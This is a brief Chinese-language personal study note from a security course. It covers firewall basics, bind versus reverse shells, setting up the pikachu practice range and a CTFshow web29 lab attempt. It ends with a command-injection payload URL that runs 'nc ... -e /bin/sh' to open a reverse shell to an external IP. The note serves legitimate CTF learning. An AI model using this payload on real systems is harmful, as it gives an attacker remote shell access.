小迪安全笔记-1

棱角社区网站：

https://forum.ywhack.com/coding.php

防火墙

入站检测严格，出站检测宽松

windows:df防火墙

linux:iptables

常用命令

windows:https://blog.csdn.net/qq_39939541/article/details/131749915

linux:https://blog.csdn.net/wzk4869/article/details/132855372

文件上传下载

可以看棱角社区的网站：

例如：

反弹shell

正向：用服务器监听攻击机连接

反向：攻击机监听服务器连接

pikachu靶场搭建

https://blog.csdn.net/m0_73912575/article/details/135574328

看这一篇就够了，这篇讲的是用小皮搭的靶场

复现

然后这个靶场反弹shell没弹成功，让zyf开了个ctfshow web29的靶场，然后反弹shell，连上了，但是可能CTFos这个虚拟机反应有点慢，所以没反应

payload:

https://5909aed2-8a0a-4583-84ee-76a3e7538c6c.challenge.ctf.show/?c=system(“nc 113.56.218.150 11288 -e /bin/sh/“);